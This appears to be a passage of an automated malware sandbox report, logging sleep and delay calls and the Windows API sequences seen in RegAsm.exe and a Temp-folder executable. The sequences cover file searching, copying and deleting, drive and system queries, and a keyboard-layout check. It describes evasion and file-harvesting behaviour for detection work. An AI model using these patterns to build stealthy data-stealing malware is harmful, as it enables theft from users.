Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -551900s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -551702s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -551485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -551250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -551032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -550563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -550372s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -550141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -549938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -549735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -549547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -549360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -549022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -548813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -548063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -547771s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -547500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -547296s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -547094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -546875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -546704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -546528s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -546313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -546079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -545610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -545293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -545061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -544797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -544391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -543875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -543636s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -543407s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -542704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -542477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -542235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -541969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -541735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -541544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -541349s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -541154s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -540916s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -540700s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -539974s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -539766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -539586s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -539406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -539172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -538954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -538728s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -538538s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -538312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -538117s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -537933s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -537708s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -537516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -537329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -537120s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -536958s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -536780s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -536581s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -536421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -536141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535987s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535573s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535242s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -535047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -534888s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -534672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -534454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -534282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -534047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -533897s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -533672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -533514s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -533357s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -533125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532916s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532754s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532204s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -532014s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531854s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531317s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531158s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -531000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -530829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -530641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -530422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -530270s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -530094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529931s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529576s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529458s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529275s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -529000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -528782s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -528547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -528391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -528203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -528047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -527895s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -527748s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -527094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -526938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -526735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -526562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -526391s >= -30000s	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe TID: 6696	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6368	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_0041510B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99823	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99661	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99319	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98962	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98025	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 97457	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 97268	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 96885	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 96728	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99728	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99910	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595518	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595136	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594794	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594539	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594376	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593552	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592931	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591747	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590850	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590271	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590069	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588114	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587936	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587746	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587567	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587333	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586886	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586650	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586479	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585435	Jump to behavior
